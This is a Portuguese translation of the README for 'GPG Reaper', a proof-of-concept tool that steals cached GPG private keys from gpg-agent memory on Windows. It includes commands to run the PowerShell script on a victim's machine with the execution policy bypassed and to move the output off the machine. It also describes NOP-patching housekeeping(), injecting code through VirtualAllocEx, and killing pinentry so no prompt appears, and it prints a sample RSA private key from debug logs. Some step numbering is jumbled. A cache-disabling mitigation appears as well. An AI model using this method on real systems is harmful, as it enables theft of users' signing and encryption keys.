
GPG Reaper - Obter/Roubar/Restaurar Chaves Privadas GPG da cache/memória do gpg-agent
TL;DR: Obter/Roubar/Restaurar Chaves Privadas GPG do cache/memória do gpg-agent
Este POC demonstra um método para obter chaves privadas GPG da memória do gpg-agent no Windows.
Normalmente isso só deveria ser possível dentro de um intervalo de 10 minutos (valor --default-cache-ttl).
Infelizmente a função housekeeping() (responsável pela limpeza do cache) só é executada se você estiver usando GPG (não há um cronômetro lá).
Isso significa que em um caso de uso normal do GPG como: você assina um arquivo, depois fecha a GUI e faz outra tarefa sua senha ainda está na memória do gpg-agent (mesmo que o ttl tenha expirado).
Um atacante que tenha acesso à sua sessão atual pode usar isso para roubar a chave privada sem saber sua senha.
AVISO: O GPG mudará o mecanismo de cache na versão 2.2.6. Verifique o commit e a issue.

pip install PGPy
Se você obteve:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:
então:
pip install six==1.10.0
Instale o Gpg4Win 3.0.3
Abra o prompt de comando e inicie o agente com tempo de cache de 2 segundos:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2



Repita os passos 4-5. Cada vez que o pinentry aparece porque nosso cache de 2 segundos expirou
Execute o GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Você verá algo como:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Como você pode ver, despejamos a chave. Isso é possível porque neutralizamos (nop) a função housekeeping.
python gpg_reaper.py .\testme.txt
A chave privada é despejada no arquivo:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent é um serviço para gerenciar chaves privadas independentemente de qualquer protocolo.
A interface GUI se comunica com o agente usando o Protocolo Assuan.
Por padrão, o agente armazena em cache suas credenciais.
A opção --default-cache-ttl n define o tempo de validade de uma entrada de cache para n segundos.
O padrão é 600 segundos. Cada vez que uma entrada de cache é acessada, seu temporizador é reiniciado.
No Windows, o processo de assinatura é assim:

A parte crucial aqui é a função housekeeping() que é responsável por remover credenciais expiradas da memória.
Mas há um problema: esta função é executada apenas em dois lugares (dentro de agent_put_cache e agent_get_cache).
Isso significa que as credenciais em cache NÃO são removidas da memória até que alguns comandos do gpg-agent que usam agent_put_cache ou agent_get_cache ou agent_flush_cache sejam executados.
No computador da vítima:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Transfira out.txt para sua máquina e restaure as chaves privadas:
gpg_reaper.py out.txt
As chaves privadas serão despejadas em arquivos separados.
Se o GPG estiver instalado fora dos diretórios padrão:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Se você não quiser mensagens de depuração:
Gpg-Reaper -Verbose $false
Vamos supor que você está realizando testes de penetração e obtém um shell em um computador com GPG instalado.
Se você tiver sorte e o usuário usou GPG recentemente e o cache não expirou, você pode:
Execute c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 of the message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Execute c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
Infelizmente isso não funciona como esperado e solicita senha.
Por quê? Porque a função cmd_export_key() executa agent_key_from_file() com a flag CACHE_MODE_IGNORE, o que significa que o cache não será usado e o usuário é solicitado a fornecer a senha toda vez.
Sabemos que não é possível exportar a chave GPG através do gpg-agent sem saber a senha.
Mas há uma pequena peculiaridade aqui. O agente possui algumas opções disponíveis:
--debug-levelSelecione o nível de depuração para investigar problemas. level pode ser um valor numérico ou uma palavra-chave:
guru - Todas as mensagens de depuração que você pode obter.
--log-file fileAnexa todas as saídas de log ao arquivo. Isso é muito útil para ver o que o agente realmente faz.
Vamos executar o agente usando gpg-agent.exe --daemon --debug-level guru --log-file out.txt e assinar um arquivo.
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG: (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG: (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG: (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))
Parece que o modo guru imprime os números n, e, d, p, q e u no arquivo de log. Sabendo disso, podemos calcular a chave pública e privada.
Internamente, o valor skey é impresso por gcry_log_debugsxp() quando DBG_CRYPTO está definido:
if (DBG_CRYPTO)
{
gcry_log_debugsxp ("skey", s_skey);
gcry_log_debugsxp ("hash", s_hash);
}
Se você quiser se proteger contra este ataque, precisa desabilitar o cache.
Crie/modifique: %APPDATA%\gnupg\gpg-agent.conf:
default-cache-ttl 0
max-cache-ttl 0
Verifique se os caminhos de gpg-connect-agent.exe, gpg-agent.exe e gpg.exe estão corretos
Verifique se o sha256 de gpg-agent.exe é suportado
Verifique se o processo gpg-agent.exe está em execução e abra-o usando OpenProcess
Start-Job que mata todas as instâncias do processo pinentry. Assim, quando solicitarmos uma chave que não está em cache, podemos continuar sem interação do usuário
Leia os bytes originais de housekeeping() e agent_pksign_do() para que possamos restaurá-los após a execução do script
Neutralize (NOP) a função housekeeping() para que ela não remova o cache expirado da memória


gpg-connect-agent.exe:SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Verifique se o arquivo de log contém os números n, e, d, p, q e u. Se sim, retorne-os ao usuário.
Repita os pontos 8-11 para cada chave do ponto 7
Agora, usando a biblioteca PGPy, podemos restaurar a chave privada. Veja: gpg_reaper.py
O gpg-agent é compilado sem ASLR, então uso alguns offsets fixos no script PowerShell.
Por isso, apenas as versões especificadas são suportadas:
| Versão | gpg-agent.exe sha256 |
|---|---|
| 3.0.3 | D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A |
| 3.0.2 | 3FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8 |
Porque este arquivo pode ser executado sem dependências externas na maioria dos sistemas Windows modernos.
gpg-connect-agent.exe, gpg-agent.exe ou gpg.exe não existe no local padrão.
Você pode tentar especificar um local personalizado usando:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
gpg-agent.exe não está em execução neste sistema, portanto não podemos restaurar a chave privada.
Atualmente este script suporta apenas versões específicas
Não há chave em cache na memória, portanto não podemos restaurar a chave privada.
Ícone de foice criado por Freepik de www.flaticon.com.
Fonte Solstice Of Suffering por GraveTech.
Obtenha a lista de todas as chaves privadas disponíveis usando gpg.exe --list-secret-keys --with-keygrip
Obtenha a chave pública usando gpg.exe --armor --export %key_fingerprint%
Aloque memória dentro do gpg-agent.exe usando VirtualAllocEx. Armazene o caminho para o nosso arquivo de log lá e chame log_set_file().
Substitua if (DBG_CRYPTO) pela chamada para nossa memória alocada do ponto 9 dentro de agent_pksign_do().
| 3.0.1 | BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE |
| 3.0.0 | C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC |